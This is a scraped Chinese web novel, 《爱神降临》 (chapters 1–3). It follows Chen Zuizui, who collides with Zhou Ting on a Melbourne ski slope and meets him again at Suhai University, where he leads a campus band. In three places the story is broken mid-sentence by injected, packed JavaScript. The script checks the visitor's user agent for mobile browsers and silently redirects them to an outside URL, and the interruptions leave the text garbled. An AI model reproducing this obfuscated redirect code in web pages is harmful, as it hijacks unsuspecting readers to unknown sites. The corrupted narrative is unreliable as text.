《爱神降临》 1. 她 “唉......好烦。” 七月是墨尔本的冬天,迎来了难得一见的雪景。无风天,雪像一朵朵大大小小的棉花飘到地上,陈最最走下摆渡车,踩进去,陷入了半只脚。 这是她在国外的第十八个年头,难得的天气,却陷入了两难的抉择。 一是回国呆在父母的身边,二是接收伯克利的offer继续在国外。 回国是她一直以来期望的事,可伯克利也是她梦寐以求的学校。 …… 带着搅作乱麻的一颗心,她拉开一间山林小屋的玻璃门。 风铃叮铃声响,冷风顺着开门的动作灌进屋里,吹得老式的吊顶灯吱呀吱呀在头顶摇晃。 门关上,屋内迅速回温。 她走过去,从兜里拿出粉色钱包,抽出两张二十澳元递给老板,租了套滑雪设备。 再次推开门,迎面吹来一阵冷风,她缩了下,把板子插在雪地里,带上防风头套,从下巴一直盖到眼睛下,再把头盔戴回头上,她才迈步朝摆渡车在的方向走。 布勒雪山的滑雪场有很多个,光滑道更有八十多条。 小屋距最近的雪场有两三公里,徒步坐过去,显然不可能。 摆渡车除去司机外,共有六个座位。等她到的时候正好有一辆即将出发。前两排都坐了人,陈最最只能抱着板,坐在最后一排。 摆渡车七拐八拐很快就到了滑雪场外。 她先下车,到一间门外挂着彩色旋转灯的小卖部买了一罐百事。 上载送带等待的过程中,陈最最左右四顾。 布勒山她常来,但这条滑道她没来过。 场子很大,中央的灯塔和道旁的高杆灯,将整个雪场照得犹如白天。夜晚雪场的游客很多,场地里,缆车上,载送带上,全都是人头,比白天至少多出一倍。 陈最最本就是来散心的,人多人少对她没区别。 她长睫微垂,收回视线的间隙,很意外地,她注意到前面站着的几个男生,没记错是刚一起坐摆渡车的那四个。 其中两个还是那么聒噪,不管是现在还是在摆渡车上,明明带着厚头盔听不见,两个人却硬是要掰开一条缝出来说话。 另外两个就比较安静,尤其个子最高的,看着快有190的那个男生,一只手拿着手套,另一只低头刷手机,全程没说过一句话。 她看了一眼他亮起的手机屏幕,似乎在看着什么新闻,但她很快移开了。 两分钟后,到了滑道点。 陈最最找了一个人少的空地,她坐在地上,扣紧鞋与板的固定器,扶着地,扭腰半圈站起来,盖下头盔的挡风盖后,又在原地跳了跳。 下一秒,她往下看滑道,计划好路线后,整个人像风一样冲了出去。 寒风从耳侧滑过,白如发的雪在脚底盘旋。穿着一身粉白色滑雪服的她,宛若一只在雪中跳舞的精灵,灵动而耀眼。 陈最最很喜欢滑雪,换做往常她可以连玩好几个小时。但今天,她没几趟就累了。 身有力而心不足的时候,陈最最卸下单板,摊开腿坐在坡度较平缓的地带。 她把头套扯开露出下巴,低马尾利落甩到身后。她隔着手套咔啪一声扒开易拉罐,然后仰头开始喝。冷风吹红了她的鼻尖,眼泪丝丝缕缕涌出来。 “啊——”舒服地喘了一声。 五分钟后,可乐喝干了,身体由内而外的热也已经散去。 陈最最站起来,边抖身上和单板上的雪,边眼睛扫对面垃圾桶的位置。然后,她单手抱着板,食指勾住头盔,朝垃圾桶走。 可突然!她余光注意到周围的人都很统一地看着某个方向,还没等看,接踵而来一声惊呼,吸走了她的魂。 “oh~~” “god!” 陈最最停住脚步,好奇地看去,仅半秒,她微微泛蓝的瞳孔皱缩、颤抖。 几乎同时,原本墨色的、沉稳入渊的夜空瞬间撕裂,雪逃了出来,远处的滑道不知何时早已雾色朦胧。在灯塔下,每一朵雪花都那么清晰,渡上晶莹的光,犹如一片片水晶般闪亮。 雪轻飘飘地盘旋落在陈最最蓬乱来不及整理的发丝上,寒风推着发间触到她的脸,迅速化水粘在了脸上。 陈最最瞳孔大睁着,惊到动不了了! 因为,此时,山顶上,有一个从头到脚全身黑的男人,正以每秒一百八的时速从上向她冲来。 脑袋是空白的。 来得及思考的只是,身后的铁网常年失修断开了一个裂口,铁线逆着长,锈迹斑斑尖锐又锋利。 如果自己避开任由这个人冲下来..... 想到这样的情况,陈最最认栽了,紧紧咬着软糯的下唇,心一横,在一声声惊呼中迎了上去。 粉色的HollerKitty定制头盔、粉色的全能板、还有百事的空易拉罐,啪嗒一声,齐落到雪地上,似乎在为她的举动而欢呼。 今天是周廷第一次学滑雪,还不会急刹,眼瞅着要撞伤人,他心急使劲挥手让人躲开,可那小粉人非但没有,反而冲上来。 这人疯了?! 周廷浑身僵硬,大脑极速旋转,哪怕受伤,他也不希望撞到人。 一是真的不想有人因为自己受伤,二更是因为,他没多余的钱为这笔突如其来的意外买单。 周廷想着,双手打开,反扣,打算直接倒在地上,无论如何,必须停下来! 可他还没往下倒,柔软的小人已经跳着,双手扑勾上他脖子。 顷然,一股清甜的可乐和薰衣草的混合香从头盔缝隙钻进来,他嫌扎没带头套,这股味道便乘机充满整个头盔,萦绕在他的鼻尖,零距离接触。 周廷没挣扎,被迫弯腰,由着人将她他往前带,然后在地面上滚了几圈,借助一个小冰堆停了下来。 陈最最从指尖碰上人开始就闭上了眼,在地上滚了几圈,确认自己没死没伤后,缓缓睁开眼。 她笨拙地撑坐起来,一点点扯掉头发上的雪,见对面的人跟着坐起。她露出八颗整齐的白牙,声音甜美,带着微弱的鼻音:“Hey!Areyouok?!” “嗯——”周廷闷哼出声,动了动,将头盔摘下。 一瞬间,倾泻而下的雪仿佛定在虚空。 陈最最呼吸紧了一下,打理头发的手,停在了半空。 对面的男生,深邃眼,高鼻梁。 他为了防寒,将黑色冲锋衣拉到领口,领口随着他的呼吸轻拍流畅好看的喉结,一下又一下。 他掀开眼,无意瞟她的那一霎,如果她没看错,好像,嗯......带着一丝若有似无的抱怨? 在埋怨她吗? 但是,好帅......能东西方审美归一地的种帅。 “老廷!” 三个分别穿着红蓝绿滑雪服的人小跑围了来。 红衣那个跑太快,在地上摔了狗啃泥,然后滑跪到周廷身前,刚伸出手想扶人,一副要大说特说的样子。 可当余光突然瞥见一旁的陈最最,却愣住,犹犹豫豫地,似乎斟酌着什么,最终沉着嗓子,对着周廷一副郑重其事的模样:“老廷还好吗?来,我扶你起来。” 周廷觑了他一眼,拍开身前的手,曲腿将固定器解开站了起来。 陈最最也站了起来。 “Thanks.”周廷面对着她。 陈最最抬眼,长睫毛自然卷翘着,眸子沉淀着笑。 要说不说,这人声音挺好听。 周廷的说话字正腔圆,声音也跟澳洲男生普遍早发育的低沉不一样,很温润,像一杯温度适中的烟气袅袅的热牛奶。 “......Howareyou?”没听到陈最最回,周廷拧眉有问了一句。 听着他用这么好听的声音说出这么蹩脚的口语,陈最最忽然嗤笑,晃了晃头,轻快着嗓音,“我也是中国人,跟我说中文就好啦。” 黑色的头套围住她修长的脖子,炽灯照在她的脸上,皮肤白得发光,头发乱糟糟的,发梢上落上越积越密的雪花点,衬托她更加灵动。 陈最最基因好,长得很白,几个大男人一直以为她是个黑发的外国妹子,突然听到她说中国话,几人很明显怔了怔。 于是陈最最笑得更欢了,眼睛眯出两朵小月牙,“你们发什么呆呀”她刻意在原地转了一个圈:“我是中国人这件事情,很让人奇怪吗?” 陈最最视线落到周廷的脸上,流连了片刻,打着趣:“对了,你叫什么名字呀?” “周廷。”周廷语气平平。 陈最最点头抬眉,再次看进周廷的漆黑的眼睛:“那......我救了你,你打算怎么报答我呀?” “......” 在散光灯下,陈最最看见周廷表情凝滞一秒,紧接着慢慢地,粗黑的眉头微不可察地皱起。 见他似乎很为难,陈最最也就没想真的讨要什么,笑着摆手:“算啦算啦,我开玩笑的。” “不过,既然大家都是同胞,那我好心提醒你们一句啊。”她下巴点了点周廷的赤条条半点防护都不做的膝盖,“如果不想第二天膝盖发肿发紫,防护工具是一定要戴哦。” “......” 没听到回答,连句谢谢,好的,都没有,陈最最蹙了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072066|163254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹙眉。 几个大男人都这么呆站着,直到陈最最捡起板子和蓝色的百事易拉罐,再把易拉罐扔掉,走出雪场消失,都没说一句话。 都是i人嘛?倒也不是,只是有的人是不爱说话,有的人是社恐,有的是在装高冷,而有的人是真的呆住了。 “哎哟妈呀。”张彡才从震惊中缓过来,盯着陈最最消失的方向,顺手拍了拍自己绿衣上的雪,一口纯正东北腔:“这他妈是个大美人儿啊。” “怎么说?”叶斌凑上来用肩膀顶了一下他,跟刚才那股装出的绅士样完全相反,吊儿郎当,挤眉弄眼:“叫声爹,帮你问个Q?” 张彡嫌了叶斌和他的一身烈艳红,踢了叶斌一脚,“滚蛋儿!劳资还不想谈异国恋。” 叶斌吃痛嘶了一声,斗鸡似抱着小腿嗷嗷叫,“你也要人姑娘看得上你。” 相比这两个显眼包,另外两个就安静很多。闻小云是他们乐队中年级最小的,小心翼翼靠近周廷,关心道:“廷哥。你没事吧?” 周廷转身,朝他点头,微微勾起唇角:“没事。” 叶斌缓过劲,突然想到什么,放下腿,看向滑道,“差点忘了!老廷,刚撞你那人呢?!” 他边看着雪场找人边抱怨:“什么人啊这,撞了人连句道歉话都没有。要我说,你也是,好端端停在半道找死嘛!不就偶像官宣,现在娱乐圈偶像塌房一月一个,也不知道你有啥可难过的......” 好心的张彡从身后拍了拍他的肩,叶斌回头,“啧,干嘛?” 顺着张彡指的方向,叶斌只来得及看见周廷和闻小云离开的背影。 叶斌:“......” 推开一件间欧式木制装修的咖啡馆门,叶斌还在不依不挠。 从换衣服,还板子,到现在,他嘴里一只叭叭个不停,说填饱肚子就去回去找监控,定要把那个混蛋找出来让他道歉。 咖啡厅里放着德彪西的《月光》,舒缓柔慢的钢琴曲,在这个小咖啡馆里,蔓延着邂逅的韵味。 周廷四人找了一个靠窗的高脚椅的位置坐下,点了一些面包、牛奶和咖啡。 周廷拿起桌上的透明玻璃杯,抿了一口热奶,热意在胸膛漫开。几秒后,他放下杯子,换吐司面包,“快吃吧,”他说,“吃完回酒店收拾东西。” 他们这次出国是每年乐队的团建活动,为期一周。 今天是他们来到墨尔本的第三天,原本还能玩三天的。可以去黄金海岸看穿比基尼的外国辣妹,去悉尼歌剧院看悲怆的歌剧哭一把,最后去板球场看足球明星要签名合照。 但这所有美好的这一切都打水漂了,只因周廷昨天接了一个电话。 他们忘了八月初,有一场必须到场推不掉的商演。 其他人倒是没什么,来了一趟也不亏。可叶斌就很难受了,他作为乐队处理对外事务的经理人,为了这次旅行做了十足的攻略,耗费了他大半个学期的上课摸鱼时间。 他牺牲太大,心有不快,不吐不快。 可他又是最不能说不回去的人,这个商演也是他接的,也是他忘掉的,难不成自己骂自己吗?所以,逮着这么一个缺口,他就逮着劲钻牛角尖。 叶斌放下手中才啜了半口的拉心拿铁,扯着脖子:“不行!撞了你的那小子了呢,不找了?” 周廷扯开光滑的透明面包纸,很平静说:“那个方向没监控,找不到。是我自己失神,不用找。”他低头,咬下满口土司。 叶斌还想再说,被一旁的张彡抬肘撞了一下,二人交换了视线。 作为周廷的室友,他们都知道,周廷开始半句半句的说话,就是他心情极其糟糕的时候。 于是,叶斌止住话,低下头挖起了蛋糕。 周廷很快吃完了,撑着下巴静静看着外边。 透明的落地窗外,是布勒山小镇的街道。黑色撕裂,白色逃逸。天空中的雪不知何时变得大了,三米高的路灯,照出一圈从白亮到昏暗的灯圈。 他盯着那明与暗的交界的地方,久久地发着愣。 忽然,一双白色黑边的雪地靴从黑暗处踏进来,唰的一声,朦胧的大雪中,他恍若听见了踩雪的声音。 视线不自觉上移,一条黑色的紧身牛仔勾勒着细长却有肉感的腿,再往上,是一件粉紫色的无帽羽绒服,一条杏色的围脖圈了好几圈围在脖子上。 周廷想看清那人的脸,可那人却走进了贴着布勒山地图的灯牌里。 没过几秒,伴随着一阵铃铛声,咖啡馆的门被人从外拉开。 周廷下意识扭头,正巧望进了一双如麋鹿般透亮、浸着霜雪般湿润的眸里。 2. 她 咖啡馆的装潢是暖黄色的,此时的店内没什么人,陈最最一下就注意到了落地窗旁边并排坐着的人。 四目相对,好几秒,陈最最被雪冰冻的脑子缓了好一会才重新转动。 嗯?还真巧。 她笑着走过去,站在离门最近的周廷面前,“诶?你们还在呢?”她看了一眼桌上的空了的塑料袋和半杯热牛奶,一屁股坐在了周廷身边的空位上。 见他们呆愣地看着自己,陈最最转了转眼珠,盯进周廷黑漆漆的眼里,这才觉得似乎冒犯了问:“我可以坐这里吧?” 周廷收回落在她脸上的视线,左手摩挲着右手的大鱼际,肩膀自然垂落,低声说:“......可以。” 陈最最又笑了。 窗外无风却大雪肆虐,她一双眼睛明亮亮的,倒映在落地窗上,融入雪景中。 “你们是中国人,中国哪的呀?”语气活泼,熟稔,半点没有才见过一面的陌生拘束感。 陈最最热情,反衬四个一米七、一米八的大男人格外的小气、拘谨。 “苏海市。”良久,周廷很奇怪地看了一眼右边的三个人,才回道。 陈最最心中有些吃惊,双手往前多撑了半寸。她进门后就脱掉了外套,此刻只穿着一件白色的紧身羊毛针织衫,将腰拉得长长的,露出凹凸有致的腰臀比。 “苏海?”她又挪了挪,“好巧欸,我也是苏海的。” 听她言,几个人又转头齐齐看她。 周廷望着近在咫尺的,因为冷热交替熏红的脸蛋,越来越近。他闭了下眼睛,原地将旋转椅朝叶斌方向转了一百八,“我去躺厕所。”留下这么一句话就走了。 陈最最看着越走越远的背影,心中默默估量着。 “丢,你也是苏海人?!”忽然一句惊呼,拉回她的视线。 一个单眼皮小眼睛,眉毛像蜡笔小新的男生嘴巴张得大大的看着她,临了似乎才想起什么,立马阖上嘴,清了一下嗓子,再看她时,成了彬彬有礼、张弛有度的君子,“我叫叶斌。敢问姑娘叫什么名字?” “......”这古不古,现不现的口吻,让陈最最愣了一下,眉头轻轻皱起,答:“陈......陈最最。” “陈....”叶斌嘶了一声,“最...”又嘶了一声。 陈最最脸上已经没有笑容了,眨巴眼,看他,又看了看他后边在憋笑的两人。 “嗤。”坐在叶斌身边的寸头男开口了,长着一双三角眼,左眉上清晰可见一个刀疤,看起来一脸凶相。“姑娘都叫出来了。老子也是服。” 叶斌用手肘顶了他一下,好像也是自暴自弃,转眼间,挺直的腰放松垮下去,变回原来随意,不那么帅,但让陈最最看起来是个正常人的模样。 叶斌再次自我介绍:“我叫叶斌,他们分别是张彡、闻小云。”他分别前后指了另外两人。 陈最最朝他们点头,招手,语气轻快热络:“你们好,我叫陈最最。” “小姐姐也是来墨尔本旅游的吗?”张彡就是寸头男,笑得一脸谄媚,跟他的外表说不出来的矛盾。 陈最最摇头,笑道:“不是啦,我在这边上学。” 几个人都了然,这疫情过去了,出国留学的人就多了,能在异国他乡遇见国人,很正常。 陈最最跟服务员点完餐,盯着眼前的三人,她咬了下殷红的小唇,思考了片刻,须臾,她水亮的眸诚恳发问:“我好多久没苏海了,你们知道苏海,或者国内,有什么特别好玩的地方吗?现在国内都是什么样子呀?” 她这一问,可就问对人了。他们三个一个来自黑龙江、一个来自云南,一个就是苏海本地人。 他们给陈最最绘声绘色介绍着自己家乡好玩的地方。有碉堡霓虹的哈尔滨冰城、有一望无际碧蓝的大海,交易繁茂邮轮往复的港口以及面朝洱海日照升起的骑行小路。 每一个都在她脑海中绘成一副美丽的画面。 他们说了祖国如何如何的强大,在国外有什么事情都不用慌,联系大使馆就行。说国内是如何的繁荣,经济发展多快。 陈最最也十分慷慨地将墨尔本有什么好玩的、好吃的全都推荐给他们。 就在几人聊得热火朝天的时候,周廷回来了。 他远远地看了一眼热络成一处的四个人,走过去,拿起座位上的黑色白毛领羽绒服,他边穿边说:“吃饱了?吃饱就走吧。” 他熟练拉上拉链,自上而下,静静看着意犹未尽的叶斌和张彡,闻小云在他回来后就站了起来,此刻已经穿好衣服站在周廷身后。 陈最最难得碰上这么健谈的国人,有些舍不得,“你们这就走啦?” 叶斌撇了周廷一眼,继而咳了一声,十分歉意地朝陈最最,叹了一声,将他们要回国之事说了明白。 陈最最只好遗憾道了一句:“那好吧,真可惜,再见。” 落地窗前顿时只剩下陈最最一个人,隔着窗,她看着他们渐渐消失在薄雾与黑暗的路灯下,她才端着生椰丝绒喝掉,走到前台结账。 这家店的老板也是个中国人,刚才听他们说的都是中文,也跟她说中文:“女士,才走的那位黑衣服的客人已经帮您结过账了。顺便,他让我将这张便利贴交给您。” 陈最最怔了下,接过这张粉色的便利贴,上面用着隽永的字体简简单单勾勒了两个字。 ——多谢。 - 苏海大学报道那天,学校周围的商场都是人。 学校南门外的三车道的马路上,黑的白的小轿车,绿的蓝的出租车,挤来挤去,你挪一寸,他挪两寸,才堪堪让行远途的车擦车而过。 陈最最靠坐在劳斯莱斯幻影后座,搅着手里的生椰拿铁。 今天她穿了一件粉色花边包臀裙,扎着一个高高的马尾,画了淡淡妆,阳光透过窗户照进来,眼尾的细闪发着微光。 她斜了一眼身边的着黑白西装,带着半框黑色眼镜处理工作的人,重重地、很没素质地翻了白眼。 陈政聿,陈最最亲哥,比她大九岁,手头有两家公司,是个彻头彻尾的工作狂。妈妈前几天出差去了,老爸也跟着打包走了,送她上学的这个担子就交到了陈政聿头上。 可从出门,坐上劳斯莱斯开始,陈政聿就一直拖着个mac敲敲敲。陈最最知道陈政聿忙,说了自己可以,陈政聿非说不放心必须跟着。 一个小时后,好不容易到了。在去宿舍和学院报道的路上陈政聿不敲mac了,改换上手机继续敲,敲敲敲。 音乐学院报道的红色雨棚里,陈最最填了最后一份信息,加上了班级的群。 “今年声乐班了不得啊,出了绝色。” “她叫什么来着?” “陈最最。” 距离陈最最三米的冬青树下,有几个穿着志愿者红马甲的学长直勾勾盯着陈最最议论,她听了个全,转身的时候,对他们在的方向停了一下,然后留下一个微笑。 毕竟诚恳收下别人的夸奖,也是一种美德。 她转身,要找陈政聿。 陈政聿侧身站在太阳底下,阳光照在他拇指带着的镶紫钻的台面戒上,折射出耀眼的光芒。时而皱眉,推驼峰鼻上的眼镜,时而踱步,侧目看她的方向。 都说认真的男人很帅,这是她哥,陈最最从没觉得。但现在周围打量陈政聿的目光实在太过滚烫,比那头顶大太阳还要炙热,就连刚才与她攀谈的一个女辅导员还问陈最最:“那是你哥哥吗?” “......” 这种备受瞩目的感觉,陈最最觉得毛骨悚然,偏偏陈政聿旁若无人地泰然自若极了。 她拿着一摞手册走到陈政聿面前。 陈政聿注意到,放下手机:“好了?”陈最最点头,“嗯。” “确定不在外面租房子?” “嗯,我不是说过了吗?我要感受大学的氛围。”陈最最瞪他一眼,不耐烦道。 陈政聿叹一声:“那饿了没?带你去吃饭?” “我不饿,你要是没什么事了,就回去吧,一会黎初会来找我,我跟她一起。” 黎初是陈最最在国内为数不多的朋友。黎初家是开律所的,跟陈最最家是世交。 陈政聿盯着她看了好一会,眉头越皱越深,张了张嘴刚想说什么,手机震动亮屏,他低头看了一眼后,没再看她,重新戴上耳机继续会议。 陈最最送陈政聿回到校外的劳斯莱斯上,等了好一会黎初才来,她敲了敲车窗,陈最最开门走出来。 黎初朝陈政聿看,她对这个牛逼的哥十分崇拜,语气亲切又敬重:“政聿哥好。” 陈政聿点点头,视线转到陈最最身上,但她已经背着白色小香包开车走了出去。陈政聿叹气,叮嘱着:“那我走了。你要是没钱了跟我说,我给你打。缺什么国内买不到的,也跟我说,找人给你买。想回家了,就打电话,我来接你。还有......” “我知道了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黎初想到什么,咯咯笑,“我记得,有一次你是不是还离家出走先自己坐船回来,然后把伯父伯母吓坏了,甩下还在高考的政聿哥就去墨西哥。” 陈最最讪笑,似乎也觉得荒唐,“是有这么一回事......” 那时陈政聿初三,面临中考,陈家所有的重心都放在了陈最最她哥身上,陈最最那时又才六岁,但也坚持不带回国。 陈家很不同。 祖上一代下来都是经商的,一家子都是脑子灵活的物种。可也正是这样世世代代遗传下来的家族,对待孩子很严苛,也很放纵。养育的方式是让他们从小就独立,变成什么样的人都随孩子自己的选择。 陈家的小孩自小就养在国外,陈政聿直到要回国上高中,才与陈最最分开。 陈父管公司很忙,陈母工作性质要常回国出差。兄妹俩相处的时间是最多的,所以从小,陈政聿很宠溺陈最最,把陈最最养成了一个独立且单纯的骄傲小公主。 害怕自己辛辛苦苦宠着长大的小屁孩被人生吃,陈政聿从小就带着陈最最坐在家里小别墅的花园摇椅上,他推着摇椅,嘴上说最多的一句话就是:“妹妹,你可以养花、养猫、养狗,哪怕养头牛搁在家的花园里,哥哥都会支持你的。但,绝不能去养男人。男的都是白眼狼,记住了吗?” 陈政聿在她脑子里钻啊钻,耳濡目染,陈最最记住了,并俸为人生格言。 “哎呀,都是过去的糗事了。”陈最最拿过放在空椅上的白色斜包,扯出包纸递给黎初,绷着一张脸没什么威胁的脸,恐吓道:“不能再说了,再说我生气啦。” 黎初抿着唇接过,她一路盯着大太阳跑来的,流了许多汗,没想到最最居然注意到这个细节...... 黎初心中流过一丝暖洋。 学校南门就在距万达广场就两条街道,吃过午饭,陈最最她们很快就回到了苏大南门。 南门的人还是很多,人潮汹涌,每个手里总提着点什么东西,烤串、冰棍、扫帚等等。 头顶太阳炽热,亮得没有边。为了迎接新生新铺得柏油路上,肉眼可见地,上面泛起一层透明色的热浪。 陈最最与黎初共撑一把伞,几乎没什么用。 走着走着,陈最最脖子后边也开始积蓄汗意,她不得不将粘在脖子后边的发尾盘起,绕几个圈,绾成一个丸子头。 苏大的本科宿舍楼建在学校内的一个天然小矮坡上,男女生统一一片区域,音乐学院的女新生住在十四号楼,法学院在十三号楼,她俩正好在邻楼。 进宿舍区域要经过宿舍区旁的篮球场,这片已经被征用为新生报到处,刚才陈最最就是在这里,跟着她‘勤奋’的哥哥,顶着无数道目光,完成了报道。 黎初来找她之前也报道完了,没必要再挤进去,二人走上斜坡。 突然,黎初看见了什么,诶了一声,“最最,看那,咱苏大的招生门面。” 3. 她 陈最最停住,顺着黎初指的方向看去。 黑色的伞檐微微上抬,冬青树的一枝嫩芽进入她的视线,明亮刺眼的阳光中,她看见男生慵懒靠着白色塑料椅的侧影,双目微阖,白色的有线耳机线从耳垂留下拍打宽耸的肩,汇进他黑色插兜裤袋里。 他的头发比两个月前长了,过了眉毛,刺着眼睛。他穿着一件白色内搭,黑色防晒棒球服裹作一团,随意搭在身后的椅子上。 风吹穿过树叶响起簌簌声,卷走了人脸上热意,似乎也舍不得热意将他惊醒。 - 苏海大学的军训惯例要进行一月,第一周在学校站军姿,第二周到郊外的基地野外拉练,第三周继续回学校,进行方阵和军体拳的练习。 最后一周对新生来说是最轻松,也是最热闹的。因为学校各大社团的初招新基本都放在这一周。 下午六点一刻散操。太阳西沉,黑色的云推着晚霞朝天边走。 结束晚饭的时候天已经完全黑了,学校的每一个角落都开始亮起了点点星火。 今年音乐学院只招了一百来号人,陈最最主修的专业是声乐表演,副修钢琴旋律。恰好今年班上有十四个女生。陈最最与梁雪荞是多出的那两个,和经管专业的李思,三个人住一间四人的宿舍。 李思很好相处,留着一头齐耳的短发,五官尖细,一副精明样,说话也处处是周到,一点都不讨人嫌。 反倒是梁雪荞沉默寡言的,若不主动与她开头,不会给你一个眼神。陈最最莫名地有些不想接触她。 在李思的促使下。三个人一起吃晚饭,结束一起走回宿舍。在经过操场的时候,有一群穿着篮球服满身汗味的男生结伴,骂骂咧咧地经过她们身边。 “我TM真的服气了。去年这样,今年还TM这样!” 身旁的人开口安慰男生道:“没事没事。明天我们早点来,可以多打会儿。” 陈最最不明觉厉看向这群男生走来的方向。顶灯照射下,篮球场犹如白昼,不知什么时候上面聚集了很多人,还有越聚越多的趋势。 李思睁着一双好奇的眼,问:“这是?” 陈最最站在斜坡上,踮起脚尖一脸新奇地瞧人群拥在中间的景象。须臾,她收回脚,兴致缺缺,“舞蹈社团,正准备刷街呢。” “啊?”李思瞬间瞪大眼,看着人群,模样有些迫不及待,“最最,我们去看看好不好?” “……” 陈最最有些纠结,这样的刷街活动她在墨尔本初高中就见过不少,还会临时搭建一个小舞台专门表演,眼前的这个……属实不够看。 但李思的目光太亮了,她也不好意思驳。 梁雪荞干脆得多,直接拒绝,跟她们打了个招呼,就回宿舍了。 与所料不错,整个表演很无趣,陈最最全程到尾表情麻木。反倒李思,一脸兴奋,回宿舍的路上嘴巴一直叭叭个不停。 “哇,太酷了,我也好想学舞啊。” “嗯......学嘛。四百块钱可以学四年,还能上台表演。挺划算的。” “一起吗?” 陈最最停住,很认真地想了一下,认真看李思答:“我不参加,我对跳舞没什么兴趣。” “啊......”李思表情有一瞬间的不自然,很快,一副满不在意的口吻:“那我也算了吧。” 回到宿舍后,陈最最从抽屉里取出手机。 整整一个下午,她收到了不少消息,有她哥的,爸妈的,还有一些国外的朋友发来的邮件。 她一个个回应。 在清空最后一个红点,正准备去洗漱的时候,又有新消息出现,把弹窗顶到最上一格。 【黎初:最最,你在哪?】 【Angel:宿舍啊。怎么了?】 【黎初:快来操场!嗨乐队来刷街了!】 嗨乐队? 什么名字?没听过。 可凡是与音乐有关的,陈最最敏感度就跟喷瓜一样,碰都没碰,就直接起飞。 她咻地站起,正想问宿舍其他人去不去,一回头,刚才进来还在的梁雪荞不知道何时离开,李思也进厕所洗澡了。 无奈,陈最最只能告诉黎初,让她给自己占个位,她马上到。 她将头发重新扎好马尾,身上的军训服没来得及换下,匆匆下楼。 当双脚站在篮球场的蓝色地面上时,眼前的一幕让陈最最惊了。 原本围得水泄不通的舞蹈社,现在只剩下零零散散的一圈人,反观篮球场的另一边,里三圈外三圈,人头像蚂蚁洞旁的蚂蚁,一个挤一个。 陈最最经过舞蹈社的时候,听到几声抱怨。 “你不是说嗨乐队今天不刷街吗?”说话的是一个留着狼尾发的男的,正一脸愤慨地看着对面。 另一个墨灰挑染的男生似乎也很懊恼,“叶斌是这么说的啊。”他意识到什么,啧了一声,“我他妈,艹,又被他骗了!” 走到人群最外圈时,陈最最被人撞了一下,她只听到一声‘不好意思’,转眼就分不清谁撞得她了。 陈最最重重吐了一口气,低头给黎初发消息。过了一会儿,黎初不知道从哪忽然出现在她身边,拉着她朝人群里钻。 陈最最穿缩在各式各样的香水味、汗臭味中,感觉自己快要不能呼吸时,才恍若冲出迷雾,视野瞬间开阔。 黎初是跟她舍友一起,将介绍室友给陈最最,陈最最打过招呼后,迫不及待地朝前看。 前面大约有半个篮球场大的空地上,用小木板、红布毯搭了一个三厘米高的小舞台。舞台上,有架子鼓,贝斯、吉他、键盘和一只站麦,一个基本乐队的标配。 表演还没开始,舞台后方两边的灯很暗,只依稀看见有几个人在后台走来走去。 周围都是人,支支吾吾交头接耳,讨论的是眼前这个叫嗨乐队的乐队,陈最最耳朵都快要竖起来了,也没听清他们到底在说什么。 恰巧黎初跟舍友交头接耳完,凑到她耳边,问:“最最,你知道这个嗨乐队吗?” 陈最最扫了她一眼,大大的眼睛中清澈地大写三个字:不知道。 黎初又是一愣,陈最最的五官很小,偏偏脸蛋也很小,眼睛圆圆的、亮亮的,流畅饱满的脸蛋和麋鹿般透亮的眼睛。 清纯的脸,却又有着能让男女都流鼻血的魔鬼小蛮腰的身材。堪称女人红眼病的起点,男人欲望的终极。 缓了好一会,黎初才将这人是她闺蜜,羡慕嫉妒甩在脑后,继续咧开嘴说:“那你还记得报道那天,我指给你看的那男的吗?” “……记得。”这个人她怎么会忘记。 初见时男生还是三七分的短侧发,浓而锋利的眉流畅滑进鬓,卷翘的睫毛、和驼峰一样的山根,勾勒出一张精致的侧颜。 给人的感觉很像九零年代TVB里那些,不学习成天惹事的坏小子,改邪归正了,又尚不足完全去掉痞气的朝气与丧气于一身的矛盾青年。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072068|163254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“是不是很帅?”黎初挑眉,嗯~~一声,用肩膀撞了她一下。 陈最最忍住翻白眼的冲动,很不客气撞回去,坦率承认:“是很帅啊,那又怎样?” “他呀,叫周廷,正是这个嗨乐队的主心骨。大一开始就建了这个乐队,不仅唱歌好听,打鼓、弹琴什么都会!”黎初越说越激动,大夸特夸,“而且你知道吗,他人不光长得帅,还贼有才。大学里,帅哥多,难公认的真校草。但偏偏人双管齐下,收获无数芳心,确确实实评为校草第一人选。逢人就说校草周廷,冠绝古今。” “嗤。”夸张的评语,让陈最最笑了一声。 她虽然长在国外,却从来没有枉顾中国文化,自然也知晓冠绝古今是什么意思。周廷长得帅她承认,可帅哥她也见过不少,尤其外国人的花期还基本都在十七八岁。 冠绝古今?有这么神吗? 陈最最挑眉,好整以暇看着黎初:“你喜欢他啊?” 黎初跟被人用针搓了尾椎骨,浑身抖了一下,“别胡说!”她十分小心翼翼地左右观察,慢慢贴近陈最最耳骨,双颊浮上一抹红晕:“我有喜欢的人。” 陈最最瞳孔猛缩,眼睛瞬间睁大了,“你?”她吃惊微微张着嘴,疯狂眨眼,心中的八卦之魂将吃惊焚烧殆尽,嘴角抑制不住地笑:“谁啊?是我们学校的吗?” “哎呀。”黎初被她盯得有些害羞,“你别......哎......他不是我们学校的。” 